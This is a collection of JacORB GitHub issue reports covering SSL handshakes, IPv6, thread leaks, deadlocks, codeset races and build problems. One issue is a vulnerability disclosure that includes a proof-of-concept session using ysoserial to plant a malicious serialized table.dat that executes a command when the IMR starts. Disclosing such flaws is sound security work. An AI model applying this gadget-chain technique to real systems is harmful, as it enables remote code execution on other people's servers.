Hi All,

below are the steps:
Hi
Below are the exact Steps:

1. add CA public key to key store file
   ​ 2) key store file is provided to ORB during init.
2. Another program signed with CA, is contacted
3. Authentication is done using public key of CA and it is successful
4. Now change the certificate on second program. certificate on second program is changed, which is also signed by same CA.
   but Second program is disconnected from first program
5. Handshake this time fails.
6. If ORB is restarted on First program (without making any change to keystore or certificates) handshake is successful. second program will connect to first program.

we dnt want to restart ORB on each Program signing with CA. Please suggest.

Solaris server configured with IPv4 & IPv6 addresses. previously jacorb.properties had IPv4 address for OAIAddr. Now we want to support IPv6 communication, so configured OAIAddr as 0.0.0.0. (cant give ipv6 address because we need to open 9000 port with both ipv4 & ipv6 )because of this IOR generated is having 0.0.0.0, which is causing the problem. somehow can we set IOR to contain IPv6 address but open 9000 port with both ipv4 & ipv6 addresses?

Hi,

I noticed some behavior in JacORB that might be a bug. When connecting to a corbaloc the following expansion happens:
corbaloc::[email protected]:2809/SomeService → corbaloc:iiop:[email protected]:2809/SomeService
which seems intuitive and is correct, but this expansion
corbaloc::[email protected]/SomeService → corbaloc:iiop:[email protected]:2809/SomeService
seems a bit unintuitiv. I would expect the following expansion:
corbaloc::[email protected]/SomeService → corbaloc:iiop:[email protected]:2809/SomeService

Note: I got the expanded corbaloc from the IOR with PrintIOR#printCorbalocIOR

Kind regards,
Sebastian

I’m using Jacorb 3.7, but I have the same following problem with various versions since 2.3, so I don’t think it will be different in 3.8.

Anyway, I have a client/server application where the server opens a kind of callback channel to the client (but not using BiDi). In the server, there is a growing number of ClientMessageReceptor threads which are never closed, i.e., after a couple of weeks, there are thousands of them which slows down the server and finally leads to OutOfMemoryExceptions. I observed that in my production system there are 3 kinds of ClientMessageReceptor threads:

1. Threads waiting in org.jacorb.util.threadpool.ThreadPool.getJob: reasonable number of them, corresponds somehow to jacorb.connection.client.max_idle_receptor_threads

2. Threads waiting in org.jacorb.orb.etf.StreamConnectionBase.read: reasonable number of them, seems to be connections that are doing some work

3. Threads waiting in org.jacorb.orb.giop.GIOPConnection.waitUntilConnected: ever-growing number of them. These threads seem to do nothing and never go away.

Why? How can I tell those threads to finish? They are still there even if all the client applications are closed.

In KeyStore.getKeyStore(..) the path for PKCS12 is not implemented, the keystore is not loaded from the InputStream.

I am using JacORB v3.8 with bidirectional connections.
Recently I experienced a deadlock on server side. Looks like 2 threads were trying to close the same ServerGIOPConnection and since GIOPConnection.close() needs to lock 2 objects (one is the Object connect_sync, second is the ClientConnectionManager on calling ClientConnectionManager.removeConnection()).
The 2 threads were obtaining the locks for these 2 objects in different order, so the deadlock was alive.

To me it looks like thread DBChangeNotificator is closing the connection after a successful request, but RequesProcessor-49 is closing it due to on error in communication.

Pasting the stacktraces of the 2 threads locking each other.

Name: RequestProcessor-49
State: BLOCKED on org.jacorb.orb.giop.ClientConnectionManager@2f2ec593 owned by: DBChangeNotificator
Total blocked: 32,122 Total waited: 8,121

Stack trace:
org.jacorb.orb.giop.ClientConnectionManager.removeConnection(ClientConnectionManagerjava:192)
org.jacorb.orb.giop.ClientConnection.connectionClosed(ClientConnection.java:455)
org.jacorb.orb.giop.GIOPConnection.close(GIOPConnection.java:1170)

- locked java.lang,Object@277a795d

org.jacorb.orb.giop.ServerGIOPConnection.close(ServerGIOPConnection.java:237)
org.jacorb.orb.giop.ServerGIOPConnection.streamClosed(ServerGIOPConnection.java:229)
org.jacorb.orb.giop.GIOPConnection.sendMessage(GIOPConnection.java:1143)
org.jacorb.orb.giop.GIOPConnection.sendMessage(GIOPConnection.java:1034)
org.jacorb.orb.giop.GIOPConnection.sendReply(GIOPConnection.java:1028)
org.jacorb.orb.dsi.ServerRequest.reply(ServerRequest.java:456)
org.jacorb.orb.BasicAdapter.return_result(BasicAdapterjava:375)
org.jacorb.poa.RequestController.returnResult(RequestController.java:398)
org.jacorb.poa.RequestProcessor.run(RequestProcessorjava:885)

Name: DBChangeNotificator
State: BLOCKED on java.lang.Object@277a795d owned by: RequestProcessor-49
Total blocked: 139 Total waited: 124

Stack trace:
org.jacorb.orb.giop.GIOPConnection.close(GIOPConnection.java:1168)
org.jacorb.orb.giop.ServerGIOPConnection.close(ServerGIOPConnection.java:237)
org.jacorb.orb.giop.ClientConnection.close(ClientConnection.java:329)
org.jacorb.orb.giop.ClientConnectionManager.releaseConnection(ClientConnectionManagerjava:171)
- locked org.jacorbeorb.giop.ClientConnectionManager@2f2ec593
org.jacorb.orb.Delegate._invoke_internal(Delegate,java:1496)
org.jacorb.orb.Delegate.invoke_internal(Delegate.java:1209)
org.jacorb.orb.Delegate.invoke(Delegate.java:1197)
org.omg.CORBA.portable.ObjectImpLinvoke(ObjectImpliava:475)
eu.extech.quant.client._QuantClientStub.recieveDBChangeNotificationList(Unknown Source)

I have generated a self-signed root CA. Using this root CA, I generated new certificates and activated them on different entities. After this, I re-created Jacorb properties.

Later, I changed the certificate on the entities and activated it, but I did not re-create jacorb properties. Due to this, I am getting handshake exceptions on the entities.

When a server method call takes more than 10 seconds, we are seeing following error on client side. Here, jacorb v3.8 is used and there are no jacorb properties set/passed explicitely on client side. We checked the default values from jacorb_properties.template, but none are set to 10 seconds.
Any idea on this error or cause?

19:49:28,992 ERROR (ClientMessageReceptor22) [org.jacorb.giop.conn] Failed to read GIOP message in ClientGIOPConnection to xxx.xx.x.xxx:10070 (5cbfc35d): org.omg.CORBA.COMM_FAILURE: read() did not return any data vmcid: 0x0 minor code: 0 completed: No
at org.jacorb.orb.etf.StreamConnectionBase.read(StreamConnectionBase.java:149) [jacorb.jar:3.8]
at org.jacorb.orb.giop.GIOPConnection.getMessage(GIOPConnection.java:462) [jacorb.jar:3.8]
at org.jacorb.orb.giop.GIOPConnection.receiveMessagesLoop(GIOPConnection.java:550) [jacorb.jar:3.8]
at org.jacorb.orb.giop.GIOPConnection.receiveMessages(GIOPConnection.java:537) [jacorb.jar:3.8]
at org.jacorb.orb.giop.MessageReceptor.doWork(MessageReceptor.java:69) [jacorb.jar:3.8]
at org.jacorb.util.threadpool.ConsumerTie.run(ConsumerTie.java:60) [jacorb.jar:3.8]
at java.lang.Thread.run(Thread.java:745) [rt.jar:1.8.0_66]
19:49:28,992 WARN (ClientMessageReceptor22) [org.jacorb.giop.conn] Abnormal connection termination. Lost 1 outstanding replie(s)!
19:49:28,992 INFO (ClientMessageReceptor22) [org.jacorb.orb.iiop.ClientIIOPConnection] Client-side TCP transport to xxx.xx.x.xxx:10070 closed.

I just started on a project at work using JacORB 2.3.1. I was trying to update it to the latest version (JacORB 3.8) and noticed that I was getting errors related to request queue listeners.
We are using the jacorb.poa.queue_listeners property to set our listener class which is dynamically created at runtime.
I did some research and found out the problem is occurring in the org.jacorb.poa.RequestQueue class. The config = true flag in the configure method was being set after the listeners are instantiated. This was causing addRequestQueueListener to throw an exception. I traced the history to JacORB 3.0 where the bug was introduced. The flag was set before the classes were instantiated via reflection. Since this bug has been around for a while, I'm guessing no one is using this feature except my project.

org.jacorb.orb.ORB occupied 3.32gb(85%) of the memory which was internally holding sun.security.ssl.InputRecord.buf with lot of byte[] data, which lead to memory leak.

jdk versionis 1.8_121
jacorb version is 3.8

org.jacorb.util.Time.java has a method waitFor that wraps a Thread.sleep in a while loop. It looks as if it is checking to make sure the sleep has slept for at least the given time and repeats the difference if not.
Note that Thread.sleep is already guaranteed to sleep for at least the specified time, if not more (depending on the scheduler).
The problem however is that if the system time changes backwards an hour while Thread.sleep is blocking, the difference between the calls to System.currentTimeMillis() is an hour and the next call to the Thread.sleep will sleep for an hour. This is because System.currentTimeMillis() is not monotonic time.

I believe just removing the while loop is sufficient since Thread.sleep already guarantees to sleep minimally for the specified time.

The following log message is flooding the Application's log file.
org.jacorb.orb.giop [org.jacorb.orb.giop.ClientConnectionManager:getConnection:148] - ClientConnectionManager: found ClientGIOPConnection to 10.135.46.193:0
The log level for this logger can be turned to DEBUG to prevent it from being logged repeatedly into any application's log file using JacORB as dependency.

The change suggested is as follows :

**Current Code :** 
...
--
else {
   if( logger.isInfoEnabled()) {
      logger.info("ClientConnectionManager: found " +  clientConnection.getGIOPConnection().toString());
   }
}
...

**Change Proposed :** 
...
--
else {
   if( logger.isDebugEnabled()) {
      logger.debug("ClientConnectionManager: found " + clientConnection.getGIOPConnection().toString());
   }
}
...

I have an interface with a method which use a type from the CORBA:: namespace (included from orb.idl).

When I apply -i2jpackage to prefix my own defined interfaces, the CORBA::-types are affected.

module2.idl:

#include <orb.idl>

module A {
  interface myBaseInterface {
      CORBA::StringSeq f1();
  };
}; // module A

Command line:
java -cp /x/x/JacORB/idl-compiler/target/jacorb-idl-compiler-3.10-SNAPSHOT.jar org.jacorb.idl.parser -I/x/x/JacORB/idl/omg -i2jpackage :org.hytra module2.idl

$ grep StringSeqHelper org/hytra/A/*
org/hytra/A/myBaseInterfacePOA.java:                            org.omg.org.hytra.CORBA.StringSeqHelper.write(_out,f1());
org/hytra/A/_myBaseInterfaceStub.java:                                  java.lang.String[] _result = org.omg.org.hytra.CORBA.StringSeqHelper.read(_is);

As you see, the class which should have been named org.omg.CORBA.StringSeqHelper has been renamed to org.omg.org.hytra.CORBA.StringSeqHelper, which I believe is a bug.

--Magne

Could someone have a look at PR 312 and possibly merge it?
This concerns a retired API and the update to fix it.

See https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches, enabling this will make it easy to update a pull request through the github UI to include changes made to master

This is an intermittent issue that happened occasionally, my environment as following:
Invocation: Java client (JacORB) call C++ service (OmniORB)
JacORB version: 3.0
OmniORB version: 4.2.4

The server side OmniORB log shows not receive the codeset service context after accepted a new connection from client when this issue happens. I have reviewed previous logs, it shows every a new connection accepted, must be following a log "Receive codeset service context and set TCS to (UTF-8,UTF-16)".
After digging into the source code of JacORB, found that the tcs_negotiated field in GIOPConnection class may have the possibility being get modified by another thread when current thread is making the connection establishment.

While current thread executing the following code:

if (!transport.is_connected())
{
    tcs_negotiated = false;

    if (logger.isDebugEnabled())
    {
        logger.debug
        (
            this.toString() + ": sendMessage() -- opening transport" + transport
        );
    }

    synchronized (connect_sync)
    {
        try
        {
            long myConnectTimeout = (timeout != 0 && timeout < connectTimeout ? timeout : connectTimeout);
            transport.connect (profile, myConnectTimeout);
            connect_sync.notifyAll();
        }
        catch (RuntimeException ex)
        {
            if (logger.isDebugEnabled())
            {
                logger.debug
                (
                    this.toString() +
                    ": sendMessage() -- failed to open transport");
            }
            throw ex;
        }
    }
}

Another thread executing the following code:

if( isTCSNegotiated() )
{
    //if already negotiated, do nothing
    return;
}

//if the other side only talks GIOP 1.0, don't send a codeset
//context and don't try again
if( pior.getEffectiveProfile().version().minor == 0 )
{
    connection.markTCSNegotiated();
    return;
}

CodeSetComponentInfo info = pior.getCodeSetComponentInfo();
if (info != null && !ignoreComponentInfo)
{
    connection.markTCSNegotiated(); // even if this aborts, we should not try negotiating again.
    CodeSet c1 = CodeSet.getNegotiatedCodeSet( info, /* wide */ false );
    CodeSet c2 = CodeSet.getNegotiatedCodeSet( info, /* wide */ true );

    connection.setCodeSets( c1, c2);

    logger.info ("Negotiated char codeset of " + c1 +
                 " and wchar of " + c2);
}
else
{
    logger.debug("No CodeSetComponentInfo in IOR. Will use default CodeSets" );

    //If we can't find matching codesets, we still mark the
    //GIOPConnection as negotiated, so the following requests
    //will not always try to select a codeset again.

    /* ******
       until the ETF spec is ammended to include components within
       the base Profile type, then this is going to be problem. So
       rather than not setting the codeset component, we should
       pick reasonable default values and send those.
    */

    connection.markTCSNegotiated();
}

Cause the codeset context lost to send to the server side.

public void write_to(GIOPConnection conn) throws IOException
{
    if (!conn.isTCSNegotiated())
    {
        // encapsulate context
        addServiceContext (createCodesetContext ( conn.getTCS(), conn.getTCSW()));
        conn.markTCSNegotiated();
    }
    super.write_to(conn);
}

There is no distinction between BindException and ConnectException in the PortRangeSocketFactory::doCreateSocket method, just a generic IOException.

If the socket.bind() is successful but the socket.connect() fails, the loop continues through the entire range of allowed ports. Additionally, when this happens, there is a misleading logger.warn stating Cannot bind socket between ports portMin and portMax to target host:port.

PortRangeSocketFactory.txt

JacORB is not building with Oracle Java 9:

[ERROR] Failed to execute goal org.apache.maven.plugins:maven-javadoc-plugin:2.10.1:jar (default) on project jacorb: MavenReportException: Error while creating archive: 
[ERROR] Exit code: 1 - /home/marius/tmp/jacorb-3.9/core/src/main/java/org/jacorb/util/ValueHandler.java:3: error: package javax.rmi.CORBA is not visible
[ERROR] import javax.rmi.CORBA.ValueHandlerMultiFormat;
[ERROR]                 ^
[ERROR]   (package javax.rmi.CORBA is declared in module java.corba, which is not in the module graph)
[ERROR] /home/marius/tmp/jacorb-3.9/core/src/main/java/org/jacorb/orb/Reference.java:26: error: package javax.rmi.CORBA is not visible
[ERROR]     extends javax.rmi.CORBA.Stub implements java.rmi.Remote
[ERROR]                      ^
[ERROR]   (package javax.rmi.CORBA is declared in module java.corba, which is not in the module graph)
[ERROR] /home/marius/tmp/jacorb-3.9/core/src/main/java/org/jacorb/orb/rmi/PortableRemoteObjectDelegateImpl.java:28: error: package javax.rmi.CORBA is not visible

The CORBA module ("java.corba") probably needs to be specified that is needed for this project. See https://www.oracle.com/corporate/features/understanding-java-9-modules.html

I use the parser as an activity of a build script. Early versions of Java supported a security manager, so calling exit() wasn't a problem for me. However with the latest version of Java, I am getting an exception as below:

Oct 01, 2023 4:49:57 PM org.bee.processor.Task eval
FINE: A security manager isn't supported in the used version of Java (java.lang.UnsupportedOperationException: The Security Manager is deprecated and will be removed in a future release)
Oct 01, 2023 4:49:57 PM java.lang.Shutdown logRuntimeExit
FINE: Runtime.exit() called with status: 0
java.lang.Throwable: Runtime.exit(0)
at java.base/java.lang.Shutdown.logRuntimeExit(Shutdown.java:179)
at java.base/java.lang.Shutdown.exit(Shutdown.java:160)
at java.base/java.lang.Runtime.exit(Runtime.java:188)
at java.base/java.lang.System.exit(System.java:1916)
at org.jacorb.idl.parser.main(parser.java:1207)

As a work around, I consider using the parser as a standalone executable.

Java code generated using JacIDL has an issue of not clearing invocationcontext if a exception is caught. For example -
IDL generated code - JacORB/services/target/generated-sources/idl/org/omg/CosEventChannelAdmin/_ProxyPullConsumerStub.java
Function - connect_pull_supplier
Code snippet -
_os = _request("connect_pull_supplier", true);
PullSupplierHelper.write(_os, pull_supplier);
_is = _invoke(_os); return;

Here _request creates the invocationcontext and _invoke clears/releases it. In case of any exception in PullSupplierHelper.write(_os, pull_supplier); invocationcontext won't get clear. This results into failure for subsequent calls if same thread & map is used. This is the case for our product which runs on JacORB.

We are looking for a fix where in case of any exception, it should clear the invocationcontext. We have seen instances of calling clearInvocationContext() in JacORB/core/src/main/java/org/jacorb/orb/Delegate.java. Maybe we could add this capability and call it in the finally block in the generated code.

According to the license tag in the POM file, this library is released under the "GNU Lesser General Public License":

    <licenses>
        <license>
            <name>GNU Lesser General Public License</name>
            <url>https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html</url>
        </license>
    </licenses>

However, according to the description here and as well as this project site, it's actually the "GNU Library General Public License v2 only" (SPDX full name).

And according to the Github project description and the comitted license file, it's actually the "GNU General Public License v2 only" (SPDX full name).

I've stumbled across this because I am chasing down the licensing mess in org.jboss.spec.javax.rmi:jboss-rmi-api_1.0_spec actually.

Can you confirm what the actual license of JacORB is? Can this be fixed in the POM? Should I try to create a PR for this?

My guess is that there is a confusion in the description in the POM between "GNU Library General Public License v2 only" and "GNU Lesser General Public License v2.1 only", but then there's also the mentioning of "GNU General Public License v2 only" at said places.

An example can be seen via lsns script.

Calling this command below:
lsns -f /tmp/test_output.txt

will produce this output:

All arguments except the following are passed through to the jvm command line
-rdbg            Adds arguments to enable remote debugging via port 5005
-dbgport [port]  also enables remote debugging via the supplied port

It's because the switch case '?' is not escaped that the lsns arguments, i.e. "-f /tmp/test_output.txt" is consumed at the wrong case branch.

Instead of using:
-?)

it should be:
-\?)

Can I make the PR?

is there any way to specify which IP(ipv4 or ipv6) to use while invoking the method from server to client?
currently we have :

Obj ob= ObjHelper.narrow(ORB.string_to_object(iorStr));
ob.getObject() //invoking client method

both server & client IOR contains both IPv4 address & IPv6 addresses. for some clients we need to communicate using IPv4 address & for come clients communication should be over IPv6. is this possible?

As I've written on the mailing list I face a problem with JacORB 3.9 when sending multiple requests in parallel threads. Especially if there are more than 10 threads, sending requests to the same CORBA endpoint. My client is running JacORB 3.9 on openJDK build 1.8.0_151-b12 and the server is running omniORB 4.2.2.

My code does send three requests to the server:

1. Establish a connection to the NamingService
2. Receive the CORBA object named TenantManger
3. Call a method on the CORBA object and read the received data.

Each thread does execute these three steps.

After some debugging and additional logging i've found a bug in JacORB.

The method setCodeSet in the class org.jacorb.orb.giop.ClientConnection in line 163, connection.markTCSNegotiated(), does set the connection's flag for codeset negotiation to true, meaning done.
Depending on this flag the method write_to in org.jacorb.orb.giop.RequestOutputStream does include the codeset context in the request. In my multi-threading test this flag gets set to true, but the codeset context will never be written on the connection's first use.

I created a patch for JacORB, that does not execute connection.markTCSNegotiated() in ClientConnection.setCodeSet in line 163. With this modification, my multi-threading test ist working fine. I testet it with 10, 20, 100 and 2000 threads sending requests and with a single threaded testcase, all working as expected. I will provide the patch as a pull request. If I'll be able to reproduce the issue with a simple jacorb example, I will also provide a testcase.

It appears that there is an interoperability issue between Jacorb 3.9 and TAO 2.4.7 when using SSLIOP and the JacORB side is on a machine with multiple network interfaces. When the JacORB side sends the TAO side an object reference for one of the JacORB-side objects, it generates an IOR with a single profile and a TAG_ALTERNATE_IIOP_ADDRESS entry for the additional interface address as well as a TAG_SSL_SEC_TRANS tag for the SSL information:

IIOP Version:	1.2
    Host Name:	192.168.121.93
    Port Number:	33514
    Object Key len:	38
    Object Key as hex:
    32 32 39 35 36 32 34 37 36 34 2f 52 6f 6f 74 50 
    4f 41 2f 00 35 02 34 42 36 0d 33 2c 24 3d 07 1f 
    1f 2a 46 24 28 1f 
    The Object Key as string:
    2295624764/RootPOA/.5.4B6.3,$=...*F$(.
    The component <1> ID is 3 (TAG_ALTERNATE_IIOP_ADDRESS)
            endpoint: 192.168.122.212:33514
    The component <2> ID is 20 (TAG_SSL_SEC_TRANS)
            port = 44731
            target_supports = 0x5a
                Integrity
                DetectReplay
                DetectMisordering
                EstablishTrustInClient
            target_requires = 0x40
                EstablishTrustInClient
    The component <3> ID is 0 (TAG_ORB_TYPE)
            ORB Type: 0x4a414300 (JacORB)
    The component <4> ID is 1 (TAG_CODE_SETS)
...

TAO appears to reject this IOR with a MARSHAL exception, giving an error like this:

TAO (29222|140661747590912) - ERROR: Could not create all profiles while extracting object [0, 1]
TAO (29222|140661747590912) - ERROR: reference from the CDR stream.

From running the TAO side under gdb, it appears that the TAO logic requires that if the profile contains multiple endpoints, the (TAO-specific) TAO_TAG_SSL_ENDPOINTS tag must be present to provide SSL-specific information for each endpoint, or the profile will be rejected.

Other than implementing this TAO-specific extension, it appears that a workaround would be to generate a separate profile for each interface rather than using TAG_ALTERNATE_IIOP_ADDRESS in the same profile when SSLIOP is in use. I'm not sure if there is a way to configure JacORB to do this without code changes?

@rnc
@alkasingheci
Hi ,
I am facing one problem in jacorb -

org.omg.CORBA.COMM_FAILURE: IOException: java.net.SocketException: Socket closed vmcid: 0x0 minor code: 0 completed: No
at org.jacorb.orb.etf.ConnectionBase.to_COMM_FAILURE(ConnectionBase.java:153)
at org.jacorb.orb.iiop.IIOPConnection.handleCommFailure(IIOPConnection.java:79)
at org.jacorb.orb.etf.StreamConnectionBase.flush(StreamConnectionBase.java:227)
at org.jacorb.orb.giop.ServerGIOPConnection.sendCloseConnection(ServerGIOPConnection.java:152)
at org.jacorb.orb.giop.ServerGIOPConnection.tryClose(ServerGIOPConnection.java:97)
at org.jacorb.orb.giop.GIOPConnectionManager.shutdown(GIOPConnectionManager.java:228)
at org.jacorb.orb.ORB.shutdown(ORB.java:2386)

Here it is showing socket is closed but it is not releasing the port properly. It is close_wait state .Please suggest what do to in oreder to fix this problem .

Thanks
Paras jain

Would anyone care to look at PR 309 (and possibly merge it after consideration).
The changes for this PR are now complete and add the options to run the maven scripts to build and test JacORB for use with JDK9+ (tested up to JDK17) without interfering with the "common" JDK8 release build (see green CI build for PR).

The approach taken is to build the core libraries with JDK8 (since there is little to gain here trying to build this with JDK9+) and provide the options to build and run tests and demo apps with JDK9+ (so a build in 2/3 steps).

Issues solved:

• implement a replacement for RMI dependencies other than the JBoss RMI spec library (which has become inoperable since JDK16 because of this: https://blogs.oracle.com/javamagazine/post/a-peek-into-java-17-continuing-the-drive-to-encapsulate-the-java-runtime-internals); introduced a new JacORB RMI Stub library here which can be optionally added to the build and tests (JBoss option is also still available for use with JDK9-JDK15 if needed);
• exclude all RMI interoperability tests for JDK9+ builds as the RMI stub library satisfies JacORB interface requirements but does not implement any RMI functionality;
• exclude all non-JacORB ORB/ORBSingleton class (sun/ibm) tests for JDK9+ as these classes are not available anymore there;
• exclude all JMX tests for JDK9+ as JMX IIOP support has been removed with JDK9 onwards;
• some other minor tweaks (increasing timeouts for better VM testing stability). upgrading test components like Mockito to make testing compatible up to JDK17;
• added org.omg.CORBA.ObjectHelper class to OMGAPI library which seems to have been missing since the creation of this library.

For the rest the pom.xml files have been updated with some profiling and some new options to allow the flexibility to build for multiple JDK versions.

In my test environment I was able to build and test everything with JDK17 without remaining errors.

The setAttributes method in the JacORBConfiguration will silently ignore any non-string properties:

    /**
     * set attributes of this configuration using properties.
     *
     * @param properties the new attributes
     */

    @Override
    public void setAttributes(Properties properties)
    {
        // Some lunatics illegally put non String objects into System props
        // as keys / values - we ignore them.
        Iterator<String> keyIt = properties.stringPropertyNames().iterator();
        while (keyIt.hasNext())
        {
            String key = keyIt.next();
            setAttribute(key, properties.getProperty(key));
        }
    }

Not using them makes sense since the JavaDoc for Properties says that non-string values are strongly discouraged. However ignoring them silently seems like a way to introduce subtle bugs that aren't easily spotted. Since Java will quite happily let you add an int or a Bool to a Properties object and the only way you'll realise that your property hasn't been applied is when you don't see the expected behaviour.

We had the following code, which didn't prompt any suspicion until we realised that our timeouts weren't working:

    Properties properties = new Properties();
    properties.put("org.omg.CORBA.ORBClass", orbImpl);
    properties.put("jacorb.use_timer_queue", true);
    properties.put("jacorb.connection.request.write_timeout", 60000);

    orb = ORB.init(new String[0], properties);

If a warning had been logged (or an Exception thrown) when the 'bad' properties were encountered this would have been a lot easier to spot.

Hi,

We have java program which uses jacorb 3.8, and acts as both Corba client and Corba Server.
When we have approx 450 connections with external corba processes, "no idle threads but maximum number of threads reached (1000)" error is seen. Here is stacktrace:
12-08-2018 04:37:59.185 4d2803ba NECache E No bootstrap interface on NE 172.23.158.196 org.omg.CORBA.NO_RESOURCES: (Pool)[0/1000] no idle threads but maximum number of threads reached (1000) vmcid: 0x0 minor code: 0 completed: No
at org.jacorb.util.threadpool.ThreadPool.putJob(ThreadPool.java:182)
at org.jacorb.orb.giop.MessageReceptorPool.connectionCreated(MessageReceptorPool.java:85)
at org.jacorb.orb.giop.ClientConnectionManager.getConnection(ClientConnectionManager.java:141)
at org.jacorb.orb.Delegate.bind(Delegate.java:542)
at org.jacorb.orb.Delegate.getObjectKey(Delegate.java:1046)
at org.jacorb.orb.ORB.findPOA(ORB.java:613)
at org.jacorb.orb.Delegate.resolvePOA(Delegate.java:1117)
at org.jacorb.orb.Delegate.is_really_local(Delegate.java:2032)
at org.jacorb.orb.Delegate.is_a(Delegate.java:1862)
at org.omg.CORBA.portable.ObjectImpl._is_a(ObjectImpl.java:130)
at com.lni.lps.nei.v8_2.lpsdevice.BootstrapHelper.narrow(BootstrapHelper.java:59)
at com.lni.lps.nei.v8_2.proxy.NEProxy.refreshIors(NEProxy.java:389)

We have jacorb.connection.server.timeout set to 300,000 (5 mins), but doesnt seem to help.
Please help.

Regards
Alka

The CI badge is red, looks the snapshot CI is failing, see https://github.com/JacORB/JacORB/actions/runs/2319615102

2022-05-13T13:05:17.7770652Z [ERROR] Failed to execute goal org.apache.maven.plugins:maven-deploy-plugin:2.8:deploy (default-deploy) on project jacorb-parent: Failed to deploy artifacts: Could not transfer artifact org.jacorb:jacorb-parent:pom:3.10-20220513.130517-5 from/to sonatype-nexus-snapshots (https://oss.sonatype.org/content/repositories/snapshots/): Transfer failed for https://oss.sonatype.org/content/repositories/snapshots/org/jacorb/jacorb-parent/3.10-SNAPSHOT/jacorb-parent-3.10-20220513.130517-5.pom 401 Unauthorized -> [Help 1]
2022-05-13T13:05:17.7771558Z [ERROR] 
2022-05-13T13:05:17.7772086Z [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
2022-05-13T13:05:17.7773558Z [ERROR] Re-run Maven using the -X switch to enable full debug logging.
2022-05-13T13:05:17.7773906Z [ERROR] 
2022-05-13T13:05:17.7774550Z [ERROR] For more information about the errors and possible solutions, please read the following articles:
2022-05-13T13:05:17.7775917Z [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
2022-05-13T13:05:17.7915486Z ##[error]Process completed with exit code 1.
2022-05-13T13:05:17.7959747Z Post job cleanup.
2022-05-13T13:05:17.8440198Z Cleanup maven setings: /home/runner/.m2/settings.xml - file was removed

The code is as follows. i use jacorb-3.9 lib.
Result, u object is null.

filterable[2] = new Property();
filterable[2].name = EVENT_TIME;
filterable[2].value = orb.create_any();
UtcT u = new UtcT(12, 34, (short)56, (short)78);
UtcTHelper.insert(filterable[2].value, u);

java.lang.NullPointerException
at com.sun.corba.se.impl.corba.AnyImpl.write_value(AnyImpl.java:610)
at com.sun.corba.se.impl.encoding.CDROutputStream_1_0.write_any(CDROutputStream_1_0.java:591)
at com.sun.corba.se.impl.encoding.CDROutputStream.write_any(CDROutputStream.java:220)
at org.omg.CosNotification.PropertyHelper.write(PropertyHelper.java:70)
at org.omg.CosNotification.PropertySeqHelper.write(PropertySeqHelper.java:78)
at org.omg.CosNotification.StructuredEventHelper.write(StructuredEventHelper.java:70)
at org.omg.CosNotifyComm._StructuredPushConsumerStub.push_structured_event(_StructuredPushConsumerStub.java:117)

Hi
I got issue about Common API Call: PrivilegeEscalation when I run AppScan for our app

Common API Call: PrivilegeEscalation: java.lang.reflect.Method.invoke(Object;Object[]):Object IRServer:76

I captures AppScan as below

Please help to support.

We currently consume JacORB version 3.9. It contains picocontainer-1.2.jar which has been EOLed. I believe there is no active development happening in this library. So, are there any plans to get away with picocontainer in JacORB or could we expect the latest version of this library in the upcoming releases?

On https://www.jacorb.org/support.html there should be a link to github issues, the bugzilla is now read only. The hyperlink to the authors page doesn't seem to work.

Hi all,

While reviewing the project's code I found a couple of cases where the code performs Java deserialization of potentially unsafe data.

1) IMR uses a table file, as specified by the jacorb.imr.table_file system property or table.dat by default.
This file is external to the JVM and could be controlled by untrusted actors.

Following is a demonstration of a POC attack:
[15:32:31 JacORB-RELEASE_3_9] $ pwd
/home/users/maestros/dev/JacORB-RELEASE_3_8
[15:33:51 JacORB-RELEASE_3_9] $ export JAVA_HOME=/home/users/maestros/dev/java/jdk-7u21-linux-x64/jre/
[15:34:30 JacORB-RELEASE_3_9] $ rm table.dat
[15:35:16 JacORB-RELEASE_3_9] java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar Jdk7u21 'touch /tmp/pwned' > table.dat
[15:35:40 JacORB-RELEASE_3_8] $ ls -la /tmp/pwned
ls: cannot access /tmp/pwned: No such file or directory
[15:36:00 JacORB-RELEASE_3_8] $ imr
[15:36:10 JacORB-RELEASE_3_8] $ ls -la /tmp/pwned
-rw-rw-r--. 1 maestros maestros 0 May 3 15:36 /tmp/pwned

2) NameServer.incarnate() deserializes a Java object based on a file whose file name is partially controlled by the client. This vulnerability can be exploited in a similar way as described above.

A solution to this issue would be to avoid performing Java deserialization using untrusted data. Consider using an alternative serialization mechanism. I am happy to further discuss this with you.

Apostolos Giannakidis

Hello.
my code:
...

  ` any = orb.create_any();
    UtcT replyEndTime = org.jacorb.util.Time.corbaFuture (1000 * 1000);
    UtcTHelper.insert (any, replyEndTime);
    BidirectionalPolicyValueHelper.insert(any, BOTH.value);
    this.root_poa = (POA) orb.resolve_initial_references("RootPOA");
    this.root_poa.the_POAManager().activate();
    Policy[] policies = new Policy[4];
    policies[0] = root_poa.create_lifespan_policy(LifespanPolicyValue.TRANSIENT);
    policies[1] = root_poa.create_id_assignment_policy(IdAssignmentPolicyValue.SYSTEM_ID);
    policies[2] = root_poa.create_implicit_activation_policy(ImplicitActivationPolicyValue.IMPLICIT_ACTIVATION);
    policies[3] = orb.create_policy(BIDIRECTIONAL_POLICY_TYPE.value, any);
    this.bidir_poa = root_poa.create_POA("BiDirPOA", root_poa.the_POAManager(), policies);
    this.bidir_poa.the_POAManager().activate();
    
    Policy replyTimeOutPolicy = orb.create_policy(REPLY_END_TIME_POLICY_TYPE.value, any);`

...
at least row get exception

java.lang.ArrayIndexOutOfBoundsException: 2
at org.jacorb.orb.CDRInputStream._read4int(CDRInputStream.java:382)
at org.jacorb.orb.CDRInputStream._read_long(CDRInputStream.java:404)
at org.jacorb.orb.CDRInputStream.read_ulonglong(CDRInputStream.java:1426)
at org.omg.TimeBase.UtcTHelper.read(UtcTHelper.java:62)
at org.omg.TimeBase.UtcTHelper.extract(UtcTHelper.java:40)
at org.jacorb.orb.policies.ReplyEndTimePolicy.(ReplyEndTimePolicy.java:42)
at org.jacorb.orb.ORB.create_policy(ORB.java:781)

I trying all methods to create policy to control reply execution, all return error

There is a github action for compiling jacorb but that could be improved, see PR #303 #302 #301.#315. The usage of github actions is free and there are 10 concurrent builders available without any costs.

I'm familiar with JacORB from version 3.6, and JacORB is so great. And now I'm using JacORB with latest version.
